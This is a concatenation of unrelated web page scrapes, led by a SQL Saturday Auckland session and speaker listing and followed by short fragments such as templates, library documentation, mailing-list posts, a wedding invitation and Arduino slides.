Event Location:
Unitec Institute of Technology
139 Carrington Rd, Mount Albert
Auckland, Auckland, New Zealand
Abstract:
It’s almost a daily occurrence to hear about some sort of data breach. But what are the consequences of a data breach – for both the victims and companies involved – and what does that mean for you as a data professional. As governments start to legislate more in an effort to protect the privacy of its citizens the entire concept of data storage become more complex. Exactly what is legislation like the General Data Protection Regulation (GDPR) and how will it affect around the world. We’re seen Microsoft give us tools over the years – like Transparent Data Encryption and Dynamic Data masking - to help with this sort of thing – but is there a better answer? Come along to this session and hear how you and your team can lessen your chances of being the ones responsible for the next data breach.
Speaker(s): Martin Catherall,
Abstract:
- Do you ever have trouble finding the latest version of a report? - Do you want to see the changes to a database/cube/report over time? - Do you need to identify where a field is used across your BI Environment? - Do you have issues with parallel development? - Do you work in a Business Intelligence environment with no source control? If you answered yes to any of these questions then this session is for you! We will go through 1. Why source control is important. 2. The different Visual Studio project types (Databases, Analysis Services, Integration Services, and Reporting Services) 3. How to bring an existing business intelligence environment into Source Control 4. How to facilitate parallel development Let's bring order to your chaos!
Speaker(s): Heidi Hasting,
Abstract:
Over the years, running SQL Server inside a virtual machine has changed from being a bit of a strange and risky idea to being commonplace and offering a range of benefits: more effective distribution of load, more flexible provisioning, and allowing additional tiers of redundancy to be put in place. Though these factors are compelling, running your database inside a virtual machine introduces an additional set of variables to worry about. This session will discuss industry tools that allows for configuration and optimisation of virtual servers. It will also show how using common DevOps principles - such as automation, monitoring and Infrastructure as Code can mitigate some of the variability in running SQL Server on a virtual host. We'll also go over some of the things that you should be looking at within your virtual environment to ensure that you are getting the best performance out of it.
Speaker(s): Hamish Watson,
Abstract:
Azure Databricks is an Apache Spark-based platform designed for the Microsoft Azure cloud services platform and easy to set up with one-click. It has an interactive workspace that enables collaboration between data scientists, data engineers, and business analysts. Azure Databricks notebook unify all the process from data gathering, model creation, deployment. It easy to connect to spark environment and access to the variety of data stores and services in Azure such as Azure SQL Data Warehouse, Azure Cosmos DB, Azure Data Lake Store, Azure Blob storage and Azure Event Hub. Moreover, the possibility to add advanced analytics capabilities will be available instantly and developer able to share their insights via Power BI. A brief introduction and demonstration on how to work with Azure Databricks will be presented. A demo of doing machine learning project with the help of Databricks on Azure, from getting data from data stores and modeling, deploying algorithm will be presented.
Speaker(s): Leila Etaati,
Abstract:
Power BI offers an incredibly extensive custom visualisation framework and the world is (almost) your oyster when it comes to what you can do. There's plenty of great visuals out there already, but what happens when you really want something that just doesn't seem to be out there and... why hasn't someone else built it yet? It can't be that hard to do... right? Can I really do it myself? This session covers the journey of the conception and development of the Small Multiple Line Chart custom visual, some of the challenges and lessons learned along the way, and the process of self-publishing visuals through the AppSource platform for general availability in the marketplace.
Speaker(s): Daniel Marsh-Patrick,
Abstract:
Over the last 10 years, Data Vault has become a common concept in the Data world. What is it? Why is it interesting? Where can it be used? How is it implemented in SQL Server? This presentation will give you a flavour of Data Vault. It will introduce: The concepts which make up Data Vault; The common tools used for building Data Vaults; How it works in SQL Server; The importance of Data Modelling and how it is structured; Interaction with modern Analytic Tools; Where to go for more information.
Speaker(s): Brian Bradley,
Abstract:
Are you interested in getting to know what your customers are thinking about your services? Empower your business with this end to end solution of creating feedback survey, sending and receving the responses and then finally analysing the same. In this session I will show you how to • Initiate customer feedback surveys using Google Forms. • Send the survey emails to the database contacts through data driven subscriptions of Reporting Services (SSRS) • And finally analyse the customer feedback using Power BI
Speaker(s): Indira Bandari,
Abstract:
The DAX language, at the core of Power BI, puts advanced analytical techniques in the hands of a wide range of business users. In this session I will share a smorgasbord of my favourite analytical techniques using the DAX language that I have developed and encountered in a business environment. Examples include scenario variance analysis, advanced date and time-based calculations, "Top N Other", detecting runs of outcomes, inverting filters, and finding your greatest ally or nemesis. This session is for anyone who loves problem-solving with Power BI in a business environment, whether you are already using DAX or keen to learn.
Speaker(s): Owen Auger,
Abstract:
As more and more businesses are looking to leverage cloud services to move and store their data we’ll take a look at how we can achieve that with ADF v2 and other Azure storage services. For the SSIS developer, we’ll translate some ADF terminology to help get you started as well as demonstrate some real-life examples from our customer engagements. And of course, being automation experts with Biml, we’ll demonstrate how we can automate the creation of ADF v2 assets.
Speaker(s): Simon Peck,
Abstract:
While Power BI comes with a lot of useful visualisations out of the box, and third-party visuals and R gives you a lot more choice, sometimes you need full control over what is being displayed. This is not for the faint hearted, as you will require Typescript and JavaScript skills and an understanding of the D3 JavaScript libraries, but there is a lot of sample code to smooth the way. This session introduces you to writing your own fully interactive custom visualisations in NodeJS, how to troubleshoot and debug, culminating in deployment of the Visual to your Power BI environment, giving you the ability to display exactly what you want in your Power BI reports.
Speaker(s): Jim McLeod,
Abstract:
Azure SQL Data Warehouse is a flexible data warehouse-as-a-service product. It is an enterprise level big data solution as it is massively parallel processing as compared to traditional Symmetric Multi-Processing system. In this session, we will look at implementing Azure SQL DW, its architecture and also the collaboration with other hybrid solutions.
Speaker(s): Manjot Kaur,
Abstract:
In this session, Reza will cover different sharing methods (basic sharing, workspaces, apps, publish to web, embedded), and their pros and cons. He will also cover Row Level Security. You will learn how to secure the content of Power BI based on roles. Reza will demonstrate different implementations of row level security such as through SSAS live query, RLS in Power Bi, regardless of data source. Finally, in this session, you will learn best practices and architecture advise for both Sharing and Security.
Speaker(s): Reza Rad,
Abstract:
What actually happens when you execute a query. This session drills down into how SQL Server and other relational database systems work behind the scenes. We’ll look at the interpreter, optimizer, estimator, storage, memory, locking, blocking, indexes, statistics and everything else that makes it all work.
Speaker(s): Dave Dustin,
Abstract:
This session will dissect a data model designed to push the boundaries of DAX beyond simple COUNT and SUM calculations. Come and see how to build a working Tic Tac Toe game using just DAX inside of Power BI. This session will cover a wide variety of advanced tips and tricks that will reset your understanding of what is possible using DAX. Time permitting we may also look at Sudoku, Blackjack, Hangman and more....
Speaker(s): Phillip Seamark,
Abstract:
Managing a team of data specialists in today's cloud based environment brings with it many issues. Tech is all about big ideas at speed and this often collides with the pet nature of databases as opposed to cattle application servers. This session will go through the real life challenges and successes of taking a team of DBA's and Engineers from a traditional data center to working fully in the public cloud: - Work Management - Goal Setting - CICD - Focus on Automation - Lessons Learned from Xero's AWS migration
Speaker(s): John Bowker,
Abstract:
Greg regularly works with tier-one financial organisations and they all struggle with the size of their databases. It's easy for the size to get out of control. In this session, Greg will describe the techniques he used to reduce an operating 3.6TB database to just over 500GB, while increasing its performance. The session will include a deep dive into compression techniques within SQL Server.
Speaker(s): Greg Low,
Abstract:
If you are a DBA and want to get started with Data Science, then this session is for you. This demo-packed session will show you few components and technologies needed for a Data Science project in Microsoft Data + AI stack. You will learn the basics of R programming language, Machine Learning and visualisations that businesses need today. In this session you will get a head start about few component in Microsoft Data + AI stack and the possibilities that can be achieved with them.
Speaker(s): Manohar Punna,
Abstract:
Graph databases are being talked about quite a lot lately. Its a special feature for special use cases. This session would focus on what, why and how of SQL Server Graph Database feature. And also, whats there in Cloud (Azure and AWS) for Graph Databases?
Speaker(s): Mohammad Hafizullah,
Abstract:
Have you been asked about displaying real time information in your Power BI reports dashboards? Have you had performance problems delivering a real time solution? Have you found the correct tools for delivering real time solutions? Through this session, you will learn how to deliver Power BI solutions streaming real time information. I will go over the different tools that we can use to approach as close as possible to a real time solution as well as combining real time information with batch processed information.
Speaker(s): David Alzamendi,
Abstract:
Azure Data Lake includes all of the capabilities required to make it easy for developers, data scientists and analysts to store data of any size and shape and at any speed, and do all types of processing and analytics across platforms and languages. In this session, you will discover how easy it is to harness the power of big data using Azure Data Lake Store and Azure Data Lake Analytics.
Speaker(s): Sergio Reginaldo Zenatti Filho,
Abstract:
Do you want to build a modern analytics solution in the cloud using the latest technologies and go 100% PaaS/SaaS. If so, in this session, I will show and demonstrate how to use a several Azure Technologies. I will demonstrate how to ingest a large dataset, how to process/transform, how to build a data model and how to visualize. Some of the technologies covered in this session are: Azure Data Factory, Azure Analysis Services, Power BI, Azure SQL Database, Machine Learning, Azure Data Lake Store and Azure Data Lake Analytics.
Speaker(s): Sergio Reginaldo Zenatti Filho,
Abstract:
Organisations capture huge volumes of data and they need actionable information to act on them proactively in real-time to stay competitive. This requires a different thinking from the conventional Data Warehouse Architecture to more Cloud based Data Processing Architecture where high volume batch and real-time processing can be achieved using optimal cost. In this session you will learn about 1. Overview of Lambda Architecture 2. How Azure Services implement Lambda Architecture 3. Advantages of leveraging Azure for Lambda Architecture 4. Business Scenarios to consider Lambda Architecture
Speaker(s): Anupama Natarajan,
This is a list of speakers from the XML Guidebook records. The details and URLs were valid at the time of the event.
LinkedIn: https://nz.linkedin.com/pub/leila-etaati/36/46/b03
Contact: http://blog.radacad.com
Leila Etaati is the First Microsoft AI MVP in New Zealand and Australia, as well as a Data Platform MVP. She has a Ph.D. from the University of Auckland and is the co-director and data scientist in RADACAD company with many clients around the world. Additionally, she is the co-organizer of Microsoft Business Intelligence and Power BI Use group in Auckland with more than 1300 members. Leila has also co-organized 3 main conferences in Auckland: SQL Saturday Auckland (from 2015), Difinity (from 2017) and Global AI Bootcamp. She is a data scientist, BI consultant, trainer, and speaker. She is a well-known International speaker to many conferences such as MS Ignite, SQL PASS, Data Platform Summit, SQL Saturday, Power BI World Tour and in Europe, USA, Asia, Australia, and NZ. She has over 10 years’ experience with databases and software systems. Leila is an active Technical Microsoft AI blogger in RADACAD.
I have been working with SQL server for over 10 years. I have been an internal DBA and a consultant. I am passionate about automation, cloud technologies, performance tuning and learning SQL internals.
LinkedIn: http://linkedin.com/in/jimmcleodaustralia
Contact: http://www.jimmcleod.net
Jim McLeod is a Canberra-based SQL Server consultant with Ignia. Coming from a software development background, Jim chose to specialise in SQL Server in 2005, with a particular focus on database performance. Since then, Jim has worked with most aspects of SQL Server on databases of all sizes across a large number of industries, with the focus in the past few years on data warehousing, Azure and Analytics.
LinkedIn: https://www.linkedin.com/in/brian-bradley-a9786b9/
Brian Bradley is a Business Intelligence Specialist who has solid experience in all things Data. Hailing from South Africa, Brian now calls New Zealand home. He has had a long and extensive career working for many top organisations such as Optimal BI, Xero and Fujitsu. On this journey he has paved his way as a Data Warehouse and Business Intelligence Solution Architect, specialising in Data Vault Architecture, Design, Build and Modelling. In his spare time he is a Blockchain enthusiast and keeps abreast of all the new and improving developments in the market, strengthening and building on business focus and the Microsoft BI Stack. He is a "Certifed Data Vault Modeller" as well as being certified to conduct the CDVDM Certifcation.
LinkedIn: https://www.linkedin.com/in/mohammadhafizullah/
Working with SQL Server for over 7 years. My current role at Xero gave me a great opportunity to extend my knowledge to Postgres and AWS. I recently passed AWS Certified Associate Developer exam. My interests are Data security, High availability and Disaster Recovery. Other than technology, my interests are long distance running, boxing and playing with my son.
LinkedIn: https://www.linkedin.com/in/indira-bandari/
Contact: http://mytechlearning.blogspot.co.nz/
Indira is a Microsoft Data Platform MVP in New Zealand. She has a Masters degree in Statistics and is passionate about data, analytics and Artificial Intelligence. She is a BI and SQL Lead, an international speaker, mentor and part time trainer with over 15 years of experience in designing and developing data warehouses and analytical solutions. Volunteering and sharing her knowledge is her passion. In her pass time, she runs free game development classes, database concepts and data visualization classes for 9-16 year old kids. She is a Co-organiser for Data, Insights and Power BI User Group , Auckland AI Meetup Group and SQL Saturday Auckland. She speaks at various conferences, Virtual Webinars, PASS events etc
LinkedIn: https://au.linkedin.com/in/heidi-hasting-a068694
Heidi Hasting is a Business Intelligence professional and former software developer with over seven years experience in Microsoft products. She is an ALM/DLM enthusiast and Azure DevOps fan and co-founder and organiser of the Adelaide Power BI User Group. Heidi is a regular attendee at tech events including Azure Bootcamps, DevOps days, SQLSaturdays, Difinity and PASS Summit.
LinkedIn: http://nz.linkedin.com/in/rezarad/
Contact: http://radacad.com/blog
Reza Rad is a Microsoft Regional Director, MVP, author, trainer, speaker and consultant. He is a Microsoft Data Platform MVP for nine years from 2011. Reza wrote many books on Power BI subjects including the Power BI from Rookie to Rock Star, and Pro Power BI Architecture. Reza is the invited speaker at the world's well-known conferences such as Microsoft Ignite, Microsoft Business Applications Summit, Ignite Tour, PASS Summit, and many other conferences. Reza is an active blogger and writes regularly about Power BI at https://radacad.com.
LinkedIn: https://nz.linkedin.com/in/anupama-natarajan-516a107
Contact: http://www.anupamanatarajan.com
Anu Natarajan is a Data and AI Consultant with 15+ years of experience working in design and development of Data Warehouse, Business Intelligence, AI enabled applications, and SaaS integrated solutions. Anu is a Microsoft MVP Data Platform, Microsoft Certified Trainer and passionate in sharing knowledge. She loves solving complex business problems with innovative solutions using technologies. Anu also speaks at conferences including PASS Summit, SQL Saturdays, Data Platform Summit, Difinity, and she organizes local user group meetups.
LinkedIn: https://www.linkedin.com/in/sergiozenatti/
Contact: https://zenatti.net/
I am an Associate Director – Data Advanced Analytics at Satalyst with over 16 years of experience in the delivery of Data, Analytics and Application Solutions. I have worked internationally around Australia, Brazil and New Zealand, in sectors that include Government, Healthcare, Telecom, Finance Services, Retail, Manufacture, Automotive, Mining, Oil Gas, Dairy and Facility Management. I have worked in various technologies and platforms such as Microsoft, SAP and Oracle; the full Microsoft BI stack including SQL Server 2017, Azure SQL DB, Azure SQL DW, Azure Data Factory, Azure ML, Power BI, HDInsight Azure Data Lake. I am User Group Leader for Perth SQL User Group and also a speaker at SQL Server User Group and Power BI World To
LinkedIn: https://www.linkedin.com/in/owenauger
Owen Auger specialises in data analytics with Power BI with a focus on financial applications. He is currently a Data Analytics Manager at Fonterra in Auckland, and has previously worked in Corporate Finance at Contact Energy. He was a finalist at the 2014 Financial Modelling World Championships in New York City. He has a particular interest in using Power BI and related tools to improve efficiency of reporting and analysis among finance business users. Owen is a CFA Charterholder and has a Master of Operations Research and BA/BSc degrees in Mathematics and Computer Science from the University of Auckland.
LinkedIn: http://www.linkedin.com/in/greglow
Contact: http://blog.greglow.com
Greg Low is well-known in the SQL Server community as a mentor, trainer, author, and community leader. He is a certified master for SQL Server, was an instructor in that program, and holds a PhD in Computer Science. Microsoft often calls on Greg to develop data-related content, and to train their staff. He regularly speaks at tier-one conferences internationally. Greg is best known for his SQL Down Under podcast, SDU Tools, and his eBooks and whitepapers. He heads up a boutique consultancy called SQL Down Under in Melbourne Australia. Greg has been awarded as an MVP since 2001.
LinkedIn: https://www.linkedin.com/in/martincatherall
Contact: http://martincatherall.com
Martin is a data consultant in Melbourne, Australia, a Microsoft Data Platform MVP, and PASS Regional Mentor for the Asia Pacific (APAC) region. Martin founded the Christchurch, New Zealand PASS Local Group and lead the group for a number of years before relocating to Melbourne. He has been using SQL Server in various roles since 2000. In addition to anything data related, he enjoys playing the guitar and having fun with his family.
LinkedIn: https://www.linkedin.com/pub/manohar-punna/15/153/508
Contact: http://www.sqlservergeeks.com/author/manoharpunna/
Manohar Punna is an Data Platform Geek and Vice President of DataPlatformGeeks by passion and a Data Platform Consultant by profession. He is a speaker at various conferences like PASS Summit, SQLBits, DPS. He has authored over 150 blogs and has written a One DMV a Day series which is a longest one day series on any topic on SQL Server till date. Manohar is a product of this community and strongly believes in giving back to the community. So, ask him anything you would like to know and he is happy to learn it with you.
LinkedIn: https://www.linkedin.com/in/sergiozenatti/
Contact: https://zenatti.net/
I am an Associate Director – Data Advanced Analytics at Satalyst with over 16 years of experience in the delivery of Data, Analytics and Application Solutions. I have worked internationally around Australia, Brazil and New Zealand, in sectors that include Government, Healthcare, Telecom, Finance Services, Retail, Manufacture, Automotive, Mining, Oil Gas, Dairy and Facility Management. I have worked in various technologies and platforms such as Microsoft, SAP and Oracle; the full Microsoft BI stack including SQL Server 2017, Azure SQL DB, Azure SQL DW, Azure Data Factory, Azure ML, Power BI, HDInsight Azure Data Lake. I am User Group Leader for Perth SQL User Group and also a speaker at SQL Server User Group and Power BI World To
LinkedIn: https://www.linkedin.com/in/daniel-m-p
Contact: https://coacervo.co
During his 17 year career across the UK and New Zealand, Daniel has been helping drive enterprise-wide solutions through process and software engineering; predominantly through BI, data visualisation and software integration. He is extremely passionate about the Microsoft BI stack, specifically Power BI. He is a Data Platform MVP, regularly presents and blogs on a variety of Power BI subjects and is a contributor of custom visuals to the Power BI Marketplace.
LinkedIn: https://www.linkedin.com/in/dalzamendi
Contact: https://www.techtalkcorner.com
Delivering Business Intelligence and Data Analytics Solutions with On-Premises and Cloud technologies since 2011, David Alzamendi is a Microsoft Certified Solutions Expert and event speaker who solves problems with best practice procedures and the latest technology. David is passionate about the positive impact data can have on our lives, businesses, economy and the environment. He prides himself on using his creativity and optimism to solve what others thought impossible.
With more than 35 years industry experience, Dave has worked with organisations and data systems of all sizes. He is currently Principal Engineer at Xero.
LinkedIn: https://www.linkedin.com/in/johnbbowker
John Bowker is the Product Owner for Data Infrastructure at Xero, a cloud-based accounting software company with over a million subscribers. John's team builds and maintains the SQL Server infrastructure and tooling that Xero's applications depend on. John has over 15 years experience in the management of software products and teams in the gaming as well as SaaS product industries.
LinkedIn: https://www.linkedin.com/in/monchopper
Simon is a MCSE in data analytics, certified Biml Expert (BimlHero) and co-author of "The Biml Book" he has been working with SQL Server since the 90's. Simon is a director of Data Engineers a Christchurch based data solutions provider specialising in Microsoft based cloud and on-premise BI and Data Warehousing solutions. Having worked for 50+ organisations worldwide over last 20 years he has a wealth of experience across many business sectors, he is also a co-leader of the Christchurch SQL User Group.
LinkedIn: https://www.linkedin.com/in/seamark
An accomplished database and business intelligence (BI) professional with an in-depth knowledge of the Microsoft BI stack along with extensive knowledge of data warehouse (DW) methodologies and enterprise data modelling. Expert knowledge in all facets of BI/DW including planning architecture, project management, dimensional modelling, performance tuning, ETL design, development and optimization, report and dashboard design as well as installation and administration. Author of multiple books on DAX. Over 27 years of commercial experience in delivering business applications across a broad range of technologies.
LinkedIn: https://nz.linkedin.com/in/hamishwatson8
Contact: http://www.sqlservercentral.com/blogs/the-hybrid-dbas-blog/
Hamish Watson is a Microsoft Data Platform MVP and VMware Expert with a passion for efficient database and application deployment using DevOps methodologies. He has 20+ years of IT experience in managing and deploying large scale databases on SQL Server technologies. He has been managing SQL Server since SQL Server 2000, and pragmatic approaches to delivering business value to clients is his career passion. Educating and helping others learn is a driver for Hamish. He is a Director-At-Large on the PASS Board, international speaker, and a repeat guest lecturer at a local university.
The following is a list of sponsors that helped fund the event.


{% extends 'blog/base/editorcp.html' %} {% block title %} Delete Tag - {{ block.super }} {% endblock title %} {% block h1 %} Delete tag titled {{ object.name }}? {% endblock h1 %} {% block content %}
Are you sure you want to delete this tag?


Welcome to ZEENATECH American School System- a great place to learn. It is both an exciting and
challenging time as we all continue this educational journey together. As the school mission slogan
''American School system '' reveals our practical teaching philosophy and approach to do and create all
that which is unique and extraordinary in its kind. In our school, our religious, moral and ethical
values are at the top of our priority with advanced American schooling culture.
Education enables a person to face new challenges, achieve progresses and lead a successful life.
I, therefore, would like to encourage all students to acquire right education through right
educational institution. I appreciate both the parents and the students for having made a right
choice of choosing ZEENATECH.
On behalf of my staff and faculty, I invite you to join this elite hub of academic excellence, which
provides ideal environment for exploring new frontiers and incubation of innovative ideas.


Message: {{message}}
{% if message[:4] == '502 ' %}If the SSL certificate of iotsa device "{{device}}" is not trusted by this Igor please try to connect using the form at the bottom of the iotsa device list page and select the Do not check SSL certificates option.
{% elif message[:4] == '401 ' %}To allow access to module "{{module}}" iotsa device "{{device}}" requires either a trusted capability (which Igor does not have yet) or username/passord credentials. You can use the latter by selecting this device on the form at the bottom of iotsa device list and providing them in the credentials field.
{% endif %} {% endif %}In some cases the links above may not work, for example when accessing a fresh Iotsa device that has not yet received a correct SSL certificate (and therefore uses the factory-installed certificate which is not trusted).
Then please use the following form to get iotsa device information:


Temp Editor
Title: Here is a title A->B: Normal line B-->C: Dashed line C->>D: Open arrow D-->>A: Dashed open arrow Note left of A: Note to the\n left of A Note right of A: Note to the\n right of A Note over A: Note over A Note over A,B: Note over both A and B
Default
Hand Written
Consumption Process Sequence
Download ze SVG


Go to the source code of this file.
Allocates memory for a new PCB and returns a pointer to it
- Returns
- PCB pointer or Null if error occurs
Allocates memory for a new PCB and returns a pointer to it
freePCB should be used when done using the pcb to free the memory in use
- Returns
- PCB pointer or Null if error occurs
| int checkParamClass |
( |
int |
processClass | ) |
|
Validates that the processClass is valid
- Parameters
-
- Returns
- integer 0 or 1 if valid
| int checkParamName |
( |
const char * |
processName | ) |
|
Validates that the processName is valid
- Parameters
-
| processName | - const char * processName |
- Returns
- integer 0 or 1 if valid
| int checkParamPriority |
( |
int |
priority | ) |
|
Validates that the priority is valid
- Parameters
-
- Returns
- integer 0 or 1 if valid
| int freePCB |
( |
pcb * |
pcbPtr | ) |
|
Frees memory that is allocated for the pcb provided
- Parameters
-
| pcbPtr | pointer to pcb to be freed |
- Returns
- integer code - 1 if successful, -1 otherwise
Frees memory that is allocated for the pcb provided
- Parameters
-
| pcbPtr | pointer to pcb to be freed |
- Returns
- integer code - 1 if successful, 0 otherwise
| pcb* setupPCB |
( |
const char * |
processName, |
|
|
int |
processClass, |
|
|
int |
priority |
|
) |
| |
Allocates memory for a new PCB and sets it with given params
- Parameters
-
| processName | - const string name |
| processClass | - integer identifying as system or application process (0, 1) |
| priority | - integer between 0 and 9 indicating priority |
- Returns
- PCB pointer to new pcb or NULL if there were errors


All functions |
|
|---|---|
Assert vector characteristics |
|
Assign date for a given year & month |
|
Convert numeric to factor, with an explicit level for |
|
Verify equivalent structure of two dataset |
|
Verify equivalent structure of two dataset |
|
Check uniqueness of column combinations |
|
|
|
Find date ranges in the presence of missing subsets |
Convert (and possibly clean) a vector |
|
Execute a SQL file |
|
First nonmissing element in a vector |
|
Salt and hash a value |
|
|
|
Utilities for outputting characteristics of a dataset used it code. |
Install important packages |
|
Create explicit factor level for missing values. |
|
Open an ODBC channel to a SQL Server database |
|
Data manipulation operations frequently used in OUHSC BBMC projects. http://www.ouhsc.edu/bbmc/ |
|
checks the user's installed packages against the packages listed in a CSV. |
|
Align & qualify the |
|
Create explicit factor level for missing values. |
|
Convert blank, zero-length values to |
|
Read a value stored in a database. |
|
Convert variable names to snake_case |
|
Trim extreme values |
|
Download and install dependencies |
|
Upload to a SQL Server database using odbc |
|
Upload to a SQL Server database using RODBC |
|
Object inherits from |
|
Generates code to verify a |


[gecode-users] Posting integer propagators
Christian Schulte
schulte at imit.kth.se
Thu May 4 16:46:38 CEST 2006
Hi,
you should find declarations of all post function in int.hh (and set.hh for
set constraints). This list is complete as no other post functions are
exported under Windows, so this information is always acurate!
Your second question: oh my good, doxygen did it again ;-) Yes that is
definitely wrong! Obviously, Doxygen is confused by namespaces (I have to
admit it is not easy...). All this "post" can be found in minimodel.hh (or
explained in the minimodel docs).
Cheers
Christian
--
Christian Schulte, http://www.imit.kth.se/~schulte/
-----Original Message-----
From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf
Of jeremie.vautard
Sent: Thursday, May 04, 2006 4:33 PM
To: users
Subject: [gecode-users] Posting integer propagators
Hi !
I would like to create an interface in order to post the same constraint in
several different spaces. I would have, for each static posting function
(post, distinct, etc...) a kind of "super post" function, taking a list of
spaces/variables and posting, for each space passed in argument, the actual
constraint.
The problem is that I didn't manage to find an exhaustive list of all the
static functions to post propagators. (I already know some of them, like
distinct or post for linear relations) Is there such a list somewhere ?
Another thing : concerning the post function ised in the money.cc example,
the link of the source code page sends me to the definition of the
void Gecode::Int::Linear::post (Space *home, Term t[], int n,
IntRelType r, int c, IntConLevel=ICL_DEF)
function, but, the argument doesn't correspond. Is it actually this function
which is called (in this case, I don't understand the argument passing...) ?
In the other case, where is the actual post function used in this exemple
defined ?
Cheers,
Jérémie Vautard
Accédez au courrier électronique de La Poste : www.laposte.net ;
3615 LAPOSTENET (0,34 €/mn) ; tél : 08 92 68 13 50 (0,34€/mn)
_______________________________________________
Gecode users mailing list
users at gecode.org https://www.gecode.org/mailman/listinfo/gecode-users
More information about the gecode-users
mailing list


Home
Album
Yohanna
&
Issac
april 14, 2018
Portland, OR
miss yohana petros zekarias & mr issak negasi solomon
WEDDING
saturday april 14, 2018
09:00 AM
Cermony
st john the baptist greek orthodox church 14485 sw walker rd beaverton, or 97006
Reception
ambrige event center 1333 ne martin luther king jr blvd portland, Or 97232
Please join us for the reception at 5.30pm
Attire is dress to impress (formal evening wear)


After a month of coding non-stop, you finally finished project 3...
Now it is time to have some beers with your friend, who has waited patiently without bugging you (got it? xD), and celebrate it!
But wait... you forgot where she lives... darn. So let's go search for her house!
Choose the difficulty:
EASY
NORMAL
HARD
NIGHTMARE
To move your character,
use the keyboard arrows.
To start the game,
press Enter.


[gecode-users] Modelling strategies for reconciling availabilities with scheduled shifts
Christopher Thielen
christopher at thielen.co
Fri Mar 7 00:43:01 CET 2014
Hi everyone,
I'm writing a program to help schedule student employees at our
university based on pre-defined shifts (time blocks) and student
availabilities (also time blocks).
This strikes me as similar to the Air Crew problem, except for modelling
the constraint that an employee is not simply generally available: it
depends on their schedule.
What modelling strategies can a more seasoned constraint programmer
recommend for solving this problem?
I appreciate any guidance,
Christopher Thielen
More information about the users
mailing list


Unraveling HTML5
— with Visual Studio 2013
Introduction
A Short Tour of HTML
...
Creating a Basic HTML Page
...
Formatting the HTML Page
...
...
...
Getting to Know HTML5
...
The Unordinary story of HTML5
...
What Behind the Term HTML5 Is
...
...
...


, | Function getLeafSort ( ) {
Creates a simple sort function closing on the provided direction. Documents are compared according to the MongoDB sorting spec.
Creates a simple sort function closing on the provided direction. Documents are compared according to the MongoDB sorting spec.


Dominant vegetation type maps were mapped with a minimum mapping unit of 16 ha by direct observation. The vegetation mapping scheme was driven by overstory species recognition, and included "mosaic types" - complex vegetation conditions that resulted from fire or other disturbances, and pure and mixed stand conditions which they associated with "natural plant associations". The vegetation polygons and associated data can be downloaded (see Download Tab).
Download shapefile containing Vegetation polygons for CA
We are working on providing scans of the original vegetation maps.


Meet
Mimi - a convenient
way to remember your medications
Mimi is a chatbot - a program that can hold a conversation with
a person. You can type a message or talk to her about anything. She
can also keep you informed on how well you are keeping to your
schedule.
According with your preferences she provides you with
daily reminders to take your medications.


Idle Smith
Idle Smith
Ores
Smelting
Start Smelting
Smelting:
Bars
Smithing
-----
-----
Start Smithing
Smithing:
Hit
Items
You currently own:
Upgrades
Money:
0
gold pieces.
Lvl
1
0
10


The header <boost/enable_shared_from_this.hpp>
defines
the class template enable_shared_from_this
. It is used as a
base class that allows a shared_ptr or
a weak_ptr to the current object to be obtained
from within a member function.
enable_shared_from_this<T>
defines two member functions
called shared_from_this
that return a shared_ptr<T>
and shared_ptr<T const>
, depending on constness, to this
.
It also defines two member functions called weak_from_this
that return
a corresponding weak_ptr
.
#include <boost/enable_shared_from_this.hpp> #include <boost/shared_ptr.hpp> #include <cassert> class Y: public boost::enable_shared_from_this<Y> { public: boost::shared_ptr<Y> f() { return shared_from_this(); } }; int main() { boost::shared_ptr<Y> p(new Y); boost::shared_ptr<Y> q = p->f(); assert(p == q); assert(!(p < q || q < p)); // p and q must share ownership }
namespace boost { template<class T> class enable_shared_from_this { public: shared_ptr<T> shared_from_this(); shared_ptr<T const> shared_from_this() const; weak_ptr<T> weak_from_this() noexcept; weak_ptr<T const> weak_from_this() const noexcept; } }
template<class T> shared_ptr<T>
enable_shared_from_this<T>::shared_from_this();
template<class T> shared_ptr<T const>
enable_shared_from_this<T>::shared_from_this() const;
Requires:
enable_shared_from_this<T>
must be an accessible base class ofT
.*this
must be a subobject of an instancet
of typeT
.Returns: If a
shared_ptr
instancep
that ownst
exists, ashared_ptr<T>
instancer
that shares ownership withp
.Postconditions:
r.get() == this
.Throws:
bad_weak_ptr
when noshared_ptr
owns*this
.
template<class T> weak_ptr<T>
enable_shared_from_this<T>::weak_from_this() noexcept;
template<class T> weak_ptr<T const>
enable_shared_from_this<T>::weak_from_this() const noexcept;
Requires:
enable_shared_from_this<T>
must be an accessible base class ofT
.*this
must be a subobject of an instancet
of typeT
.Returns: If a
shared_ptr
instancep
that ownst
exists or has existed in the past, aweak_ptr<T>
instancer
that shares ownership withp
. Otherwise, an emptyweak_ptr
.
Copyright © 2002, 2003, 2015 by Peter Dimov. Distributed under the Boost Software License, Version 1.0. See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt.


name: default-page layout: true background-image: url("fablabsp_icon_100px.png") background-position: 98% 2% --- class: center, middle # Getting Started with Arduino .footnote.pull-right[ [EP1000: Arduino](https://rdorville.github.io/EP1000/arduino/arduinoProgramming.html) ] --- template: default-page layout: false # The Arduino System .left-column[ ## .red.bold[What is it?] ] .right-column[ An IDE (Integrated Development System) + Hardware (Microcontroller boards) - Allows writing of code (C++, Processing) - Compiling, Linking and Execution of code - Obtain feedback from running programs - Use microcontroller boards using the AVR microcontrollers - Extensive libraries for shields and modules ] --- template: default-page layout: false # The Integrated Development Environment .left-column-60[
] .right-column-35[ - Download from [Arduino Site](https://www.arduino.cc/en/software) - Write, Compile, Execute, Monitor code for the microcontoller - Code is [Processing](https://processing.org/) (C++ like) ] --- template: default-page layout: false # Hardware (Controller boards) .left-column-60[
Arduino Uno
Arduino Nano
Uno Clone
] .right-column-35[ - Most commonly used board - Uno - Based on the ATMel ATMega328 Microcontroller - Open source circuitry - Cheaper alternatives - China Clones, Other manufacturers - CH340 [USB drivers](https://www.dnatechindia.com/ch340g-drivers-download-installation-guide.html), [Alternative Site](https://sparks.gogo.co.nz/ch340.html) ] --- template: default-page layout: false # Why use Arduino ? - Inexpensive (clones are less than $5) - Cross platform development (Mac, Linux, Windows) - Simple, clear programming environment using GUI (no need for assembly language) - Open Source - Many libraries to support any development - Can be re-sized (made smaller or larger) - Has equivalent or substitutable systems for other microcontrollers --- template: default-page layout: false # UNO Board Features
